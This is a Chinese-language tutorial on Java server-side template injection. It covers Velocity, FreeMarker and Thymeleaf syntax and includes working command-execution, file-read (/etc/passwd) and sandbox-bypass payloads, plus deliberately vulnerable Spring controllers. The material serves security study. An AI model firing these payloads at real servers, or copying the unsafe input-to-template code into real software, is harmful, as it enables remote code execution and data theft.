Java模版注入

Velocity的简介

Velocity模板引擎, 作为一款成熟的基于java的模板引擎,能够帮我们实现页面静态化,同时它将Java代码与网页分开,将模板和填入数据整合,生成我们需要的页面.

1 基本语法

1 关键字

Velocity模板中的关键字, 都是以#开头表示的

  • #set 设置一个变量
  • #if 条件分支判断
  • #else 另一个条件分支
  • #end 语句结束
  • #foreach 循环语句

2 变量

Velocity模板中的变量, 都是以$开头表示的

如: $user用户 $password 用户密码

{}变量

对于明确的Velocity变量, 可以使用{}包括起来, 可以在页面上展示如下效果:

${user}Name, 此时页面上可以表示为$someoneName的效果.

!变量

如上述内容,Velocity模板中如果变量不存在, 在页面会显示$user, 这种形式影响展示的效果. 可以使用$!user表示.

$!user表示, 存在则展示,不存在则为空白

1
2
3
4
5
6
7
8
9
10
11
12
13
vm
复制代码## 定义一个user变量为李白, password变量为123456
#set{$user = "李白"}
#set{$password = "123456"}

## 变量引用
#set{$student.name = "李白"}
## 数字
#set{$student.age = 22}
## 字符串
#set{$student.class = "大班"}
## 属性引用
#set($student.address = $address.info)

3 转义字符和逻辑操作符

Velocity模板中转义字符是 \

1
2
3
4
5
6
7
vm
复制代码#set{$user = "李白"}
## 输入 结果
$user 李白
\$user $user
\\$user \李白
\\\$user \$user

&& 且

|| 或

! 取反

4 循环

Velocity模板中list集合循环语法

循环遍历,可以得到每个元素,每个元素的序号,以及总的集合长度

1
2
3
4
5
6
7
8
9
vm
复制代码#foreach ( $element in $list)
## 集合中每个元素
$element
## 集合的序号 从1开始
${velocityCount}
## 集合的长度
${list.size()}
#end

map集合循环语法

1
2
3
4
5
vm
复制代码#foreach ($entry in $map.entrySet())
## map的key map的value值
$entry.key => $entry.value
#end

5 条件

Velocity模板中条件语法if-ifelse-else结构

1
2
3
4
5
6
7
8
vm
复制代码#if (condition1)
// 执行业务
#elseif (condition2)
// 执行业务
#else
// 执行业务
#end

常用的条件语句是if-else结构

1
2
3
4
5
6
vm
复制代码#if (condition1)
// 执行业务
#else
// 执行业务
#end

#break

表示跳出循环

1
2
3
4
5
6
7
8
9
vm
复制代码#if (condition1)
## 条件符合跳过
#if($user == "李白")
#break;
#end
#else
// 执行业务
#end

#stop

表示终止指令,终止模板解析

1
2
3
4
5
6
7
8
9
vm
复制代码#if (condition1)
## 条件符合直接终止
#if($user == "李白")
#stop
#end
#else
// 执行业务
#end

6 注释

单行注释 ##

1
2
3
vm
复制代码## 定义一个user变量为李白
#set{$user = "李白"}

多行注释 #* *#

1
2
3
4
5
6
vm
复制代码#*
定义一个user变量
将user变量赋值为 李白
*#
#set{$user = "李白"}

文档注释 #** *#

1
2
3
4
5
6
vm
复制代码 #**
@version 1.1
@author 李白
*#
#set{$user = "李白"}

7 引入资源

#include

表示引入外部资源,引入的资源不被引擎所解析

1
2
vm
复制代码#include( "one.gif","two.txt","three.htm" )

#parse

用于导入脚本, 引入的资源会被引擎所解析

1
2
3
4
5
6
7
8
9
vm
复制代码## a.vm文件
#set($user = "李白")


## b.vm文件
#parse("a.vm")
## 变量 值
$user 李白

常见POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 命令执行1
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

// 命令执行2
#set($x='')##
#set($rt = $x.class.forName('java.lang.Runtime'))##
#set($chr = $x.class.forName('java.lang.Character'))##
#set($str = $x.class.forName('java.lang.String'))##
#set($ex=$rt.getRuntime().exec('id'))##
$ex.waitFor()
#set($out=$ex.getInputStream())##
#foreach( $i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

// 命令执行3
#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\A"))
#if($scan.hasNext())
$scan.next()
#end

evaluate例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.javasecssti;

import org.apache.velocity.VelocityContext;
import org.apache.velocity.app.Velocity;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

import java.io.StringWriter;

@Controller
public class VelocityController {
@RequestMapping("/ssti/velocity")
@ResponseBody
public String velocity1(@RequestParam(defaultValue="nth347") String username) {
String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";

Velocity.init();
VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "nguyen@vietnam.com");

StringWriter out = new StringWriter();
// 将模板字符串和上下文对象传递给Velocity引擎进行解析和渲染
Velocity.evaluate(ctx, out, "test", templateString);

return out.toString();
}

}

输入payload:

1
2
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("cmd /C calc")

弹出计算机

merage:

merge方法使用VelocityEngine的getTemplate方法获取指定的模板文件,然后使用merge方法将模板和上下文数据合并为最终结果。

template :待处理的 Velocity 模板。

context :上下文数据,即用于替换模板中占位符的数据。

writer :输出结果的写入器,用于将生成的结果写入到指定位置。

创建对应的code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
@RequestMapping("/ssti/velocity2")
@ResponseBody
public String velocity2(@RequestParam(defaultValue = "nth347") String username) throws IOException, ParseException, org.apache.velocity.runtime.parser.ParseException {
String templateString = new String(Files.readAllBytes(Paths.get("/path/to/template.vm")));
templateString = templateString.replace("<USERNAME>", username);

StringReader reader = new StringReader(templateString);

VelocityContext ctx = new VelocityContext();
ctx.put("name", "Nguyen Nguyen Nguyen");
ctx.put("phone", "012345678");
ctx.put("email", "nguyen@vietnam.com");

StringWriter out = new StringWriter();
org.apache.velocity.Template template = new org.apache.velocity.Template();

RuntimeServices runtimeServices = RuntimeSingleton.getRuntimeServices();
SimpleNode node = runtimeServices.parse(reader, String.valueOf(template));

template.setRuntimeServices(runtimeServices);
template.setData(node);
template.initDocument();

template.merge(ctx, out);

return out.toString();

}

模板文件template.vm内容:

1
2
3
Hello World! The first velocity demo.
Name is <USERNAME>.
Project is $project

这段代码的主要作用是读取Velocity模板文件,替换模板中的占位符,然后使用给定的上下文对象进行模板渲染,并将渲染结果作为字符串返回
过程:

  • 使用templateString.replace对模板文件里的内容进行替换,这里的替换值可控
  • runtimeServices.parse将模板内容进行解析
  • template.merge(ctx, out);将模板内容进行渲染,这里会调用SimpleNode#render,过程大致和上面一致

从指定路径读取模板文件,如果模板文件中带有攻击载荷语句,即可通过 template.merge 渲染触发模 板注入漏洞。所以我们需要修改vm渲染文件。

假设我们到了后台,有模板修改的功能,那我们便可修改vm文件来进行攻击。

1
2
#set($e="sss");
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")

FreeMarker简介

FreeMarker 是一款 _模板引擎_: 即一种基于模板和要改变的数据, 并用来生成输出文本(HTML网页,电子邮件,配置文件,源代码等)的通用工具。 它不是面向最终用户的,而是一个Java类库,是一款程序员可以嵌入他们所开发产品的组件。

模板编写为FreeMarker Template Language (FTL)。它是简单的,专用的语言, 不是 像PHP那样成熟的编程语言。 那就意味着要准备数据在真实编程语言中来显示,比如数据库查询和业务运算, 之后模板显示已经准备好的数据。在模板中,你可以专注于如何展现数据, 而在模板之外可以专注于要展示什么数据。

FreeMarker语法

说白了FreeMarker和JSP的EL表达式差不多 或者 跟thymleaf的语法是差不多的。

都是使用${} 或者标签。

FreeMarker常用语法

if指令

1
2
3
<#if name=='李四'>
true
</#if>

list指令

1
2
3
4
5
6
7
8
9
10
@RequestMapping("/test2")
public String testList(Map<String,Object> map){

List<User> users = new ArrayList<>();
users.add(new User("lisi",15));
users.add(new User("test",25));
users.add(new User("zhangsan",25));
map.put("lists",users);
return "test2";
}
1
2
3
4
5
6
7
8
9
10
<table>
<#list lists as u>
<#if u_index%2==0 ><tr style="background-color: red"></#if>
<#if u_index%2!=0><tr style="background-color: green"></#if>
<tr>
<td>${u.name}</td>
<td>${u.age}</td>
</tr>
</#list>
</table>

遍历Map

1
2
3
4
5
6
7
8
9
@RequestMapping("/test3")
public String testMap(Map<String,Object> map){
HashMap<String, Object> mp = new HashMap<>();
mp.put("1",new User("lisi",15));
mp.put("2",new User("zhangsan",19));
mp.put("3",new User("test",20));
map.put("ma",mp);
return "test3";
}
1
2
3
4
5
6
7
8
<table>
<#list ma?keys as k>
<tr>
<td>${ma[k].name}</td>
<td>${ma[k].age}</td>
</tr>
</#list>
</table>

空值处理

?? 判断是不为空

${name!””} name 为空时 显示 “”

1
2
3
4
5
6
7
<#if name??>
${name}
</#if>

<#if name??>
${name!""}
</#if>

FreeMarker注入

内置函数

new

可创建任意实现了TemplateModel接口的Java对象,同时还可以触发没有实现 TemplateModel接口的类的静态初始化块。以下两种常见的FreeMarker模版注入poc就是利用new函数,创建了继承TemplateModel接口的freemarker.template.utility.JythonRuntime和freemarker.template.utility.Execute。

API

value?api 提供对 value 的 API(通常是 Java API)的访问,例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类,或者也可以通过 getResource来实现任意文件读取。但是,当api_builtin_enabled为true时才可使用api函数,而该配置在2.3.22版本之后默认为false。

一些poc1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("open -a Calculator.app"")}




<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()


<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")


<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }


读取文件


<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]




<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
<#assign byte=is.read()>
<#if byte == -1>
<#break>
</#if>
${byte}, </#list>]


这里引入绕过沙箱的一些手法来源于blackhat议题,在深育杯比赛看到的考点。先来看一下blackhat的原payload

payload同样可用于halo 1.2.0版本

这个payload需要freemarker+spring并设置setExposeSpringMacroHelpers(true)或是application.propertices中配置spring.freemarker.expose-spring-macro-helpers=true

1
2
3
4
5
<#assign ac=springMacroRequestContext.webApplicationContext>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("id")}

这个是绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
Application['org.springframework.web.context.WebApplicationContext.ROOT'],得到以下payload

<#assign ac=Application['org.springframework.web.context.WebApplicationContext.ROOT']>
<#assign fc=ac.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("id")}

简化一下payload

<#assign fc=Application['org.springframework.web.context.WebApplicationContext.ROOT'].getBean('freeMarkerConfiguration')>
${fc.setNewBuiltinClassResolver(fc.getDefaultConfiguration().getNewBuiltinClassResolver())}
${"freemarker.template.utility.Execute"?new()("whoami")}

在加一些其他的绕过:根据Pwntester 2020年的议题 https://media.defcon.org/DEF CON 28/DEF CON Safe Mode presentations/DEF CON Safe Mode - Alvaro Muñoz and Oleksandr Mirosh - Room For Escape Scribbling Outside The Lines Of Template Security.pdf

绕过class.getClassloader反射加载Execute类
1
2
3
4
5
<#assign classloader=<<object>>.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

参考:https://mp.weixin.qq.com/s/wlBJ26UsZYZAQTf5P5KMxA

https://www.cnblogs.com/nice0e3/p/16217471.htm

https://tttang.com/archive/1412/#toc_0x03-thymeleaf

https://forum.butian.net/share/1661

Thymeleaf

Thymeleaf是众多模板引擎的一种和其他的模板引擎相比,它有如下优势:

  • Thymeleaf使用html通过一些特定标签语法代表其含义,但并未破坏html结构,即使无网络、不通过后端渲染也能在浏览器成功打开,大大方便界面的测试和修改。
  • Thymeleaf提供标准和Spring标准两种方言,可以直接套用模板实现JSTL、 OGNL表达式效果,避免每天套模板、改JSTL、改标签的困扰。同时开发人员也可以扩展和创建自定义的方言。
  • Springboot官方大力推荐和支持,Springboot官方做了很多默认配置,开发者只需编写对应html即可,大大减轻了上手难度和配置复杂度。

语法

参考:https://blog.csdn.net/Lzy410992/article/details/115371017

https://xz.aliyun.com/t/10514?

既然Thymeleaf也使用的html,那么如何区分哪些是Thymeleaf的html?

在Thymeleaf的html中首先要加上下面的标识。

1
<html xmlns:th="http://www.thymeleaf.org">

标签

Thymeleaf提供了一些内置标签,通过标签来实现特定的功能。

标签 作用 示例
th:id 替换id
th:text 文本替换

bigsai

th:utext 支持html的文本替换

content

th:object 替换对象
th:value 替换值
th:each 迭代
th:href 替换超链接 超链接
th:src 替换资源

链接表达式

在Thymeleaf
中,如果想引入链接比如link,href,src,需要使用@{资源地址}引入资源。引入的地址可以在static目录下,也可以司互联网中的资源。

1
2
3
<link rel="stylesheet" th:href="@{index.css}">
<script type="text/javascript" th:src="@{index.js}"></script>
<a th:href="@{index.html}">超链接</a>

变量表达式

可以通过${…}在model中取值,如果在Model中存储字符串,则可以通过${对象名}直接取值。

1
2
3
4
5
6
7
8
9
public String getindex(Model model)//对应函数
{
//数据添加到model中
model.addAttribute("name","bigsai");//普通字符串
return "index";//与templates中index.html对应
}


<td th:text="'我的名字是:'+${name}"></td>

取JavaBean对象使用${对象名.对象属性}或者${对象名[‘对象属性’]}来取值。如果JavaBean写了get方法也可以通过${对象.get方法名}取值。

1
2
3
4
5
6
7
8
9
10
11
public String getindex(Model model)//对应函数
{
user user1=new user("bigsai",22,"一个幽默且热爱java的社会青年");
model.addAttribute("user",user1);//储存javabean
return "index";//与templates中index.html对应
}


<td th:text="${user.name}"></td>
<td th:text="${user['age']}"></td>
<td th:text="${user.getDetail()}"></td>

取Map对象使用${Map名[‘key’]}或${Map名.key}。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
Map<String ,String>map=new HashMap<>();
map.put("place","博学谷");
map.put("feeling","very well");
//数据添加到model中
model.addAttribute("map",map);//储存Map
return "index";//与templates中index.html对应
}


<td th:text="${map.get('place')}"></td>
<td th:text="${map['feeling']}"></td>

取List集合:List集合是一个有序列表,需要使用each遍历赋值,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@GetMapping("index")//页面的url地址
public String getindex(Model model)//对应函数
{
List<String>userList=new ArrayList<>();
userList.add("zhang san 66");
userList.add("li si 66");
userList.add("wang wu 66");
//数据添加到model中
model.addAttribute("userlist",userList);//储存List
return "index";//与templates中index.html对应
}


<tr th:each="item:${userlist}">
<td th:text="${item}"></td>
</tr>

选择变量表达式

变量表达式也可以写为*{…}。星号语法对选定对象而不是整个上下文评估表达式。也就是说,只要没有选定的对象,美元(${…})和星号(*{…})的语法就完全一样。

1
2
3
4
5
<div th:object="${user}">
<p>Name: <span th:text="*{name}">赛</span>.</p>
<p>Age: <span th:text="*{age}">18</span>.</p>
<p>Detail: <span th:text="*{detail}">好好学习</span>.</p>
</div>

消息表达式

文本外部化是从模板文件中提取模板代码的片段,以便可以将它们保存在单独的文件(通常是.properties文件)中,文本的外部化片段通常称为“消息”。通俗易懂的来说#{…}语法就是用来
读取配置文件中数据 的。

片段表达式

片段表达式~{…}可以用于引用公共的目标片段,比如可以在一个template/footer.html中定义下面的片段,并在另一个template中引用。

1
2
3
4
5
6
<div th:fragment="copy">
© 2011 The Good Thymes Virtual Grocery
</div>


<div th:insert="~{footer :: copy}"></div>

Thymeleaf 模板注入漏洞

Thymeleaf SSTI 漏洞通常发生在使用动态输入来生成 Thymeleaf 模板的情况下。攻击者可以通过精心 构造的输入向服务器发送恶意代码,这些代码将被 Thymeleaf 视为有效的模板表达式,并在服务器上执 行。因此会导致服务器上的远程代码执行,从而使攻击者能够完全接管服务器并访问敏感数据。在 Thymeleaf 中,可以使用表达式来动态设置模板的值。例如, ${user.name} 将被替换为用户的名 称。攻击者可以使用类似${T(java.lang.Runtime).getRuntime().exec(‘calc’)} 的表达式来执行 任意的系统命令。Thymeleaf 3.0.0 至 3.0.11 版本存在模板注入漏洞。该漏洞在Thymeleaf 3.0.12及以后版本已经得到修 复,但还是存在一些 Bypass 的方式。

参考:https://tttang.com/archive/1412/#toc_0x03-thymeleaf

https://forum.butian.net/share/1661

https://www.ctfiot.com/110645.html

https://xz.aliyun.com/t/9826

Thymeleaf模版注入漏洞分两种场景,按照经Servlet处理后得到的viewTemplateName包含”::“和不包含”::“两种情况。

poc:

1
2
3
4
5
6
7
8
9
10
11
选择模板语法
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("open%20-a%20calculator").getInputStream()).next()%7d__::.x

片段选择器
__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("touch /tmp/test.txt").getInputStream()).next()%7d__::.x

拼接路径
__%24%7Bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open -a20calculator%22).getInputStream()).next()%7D__%3A%3A.x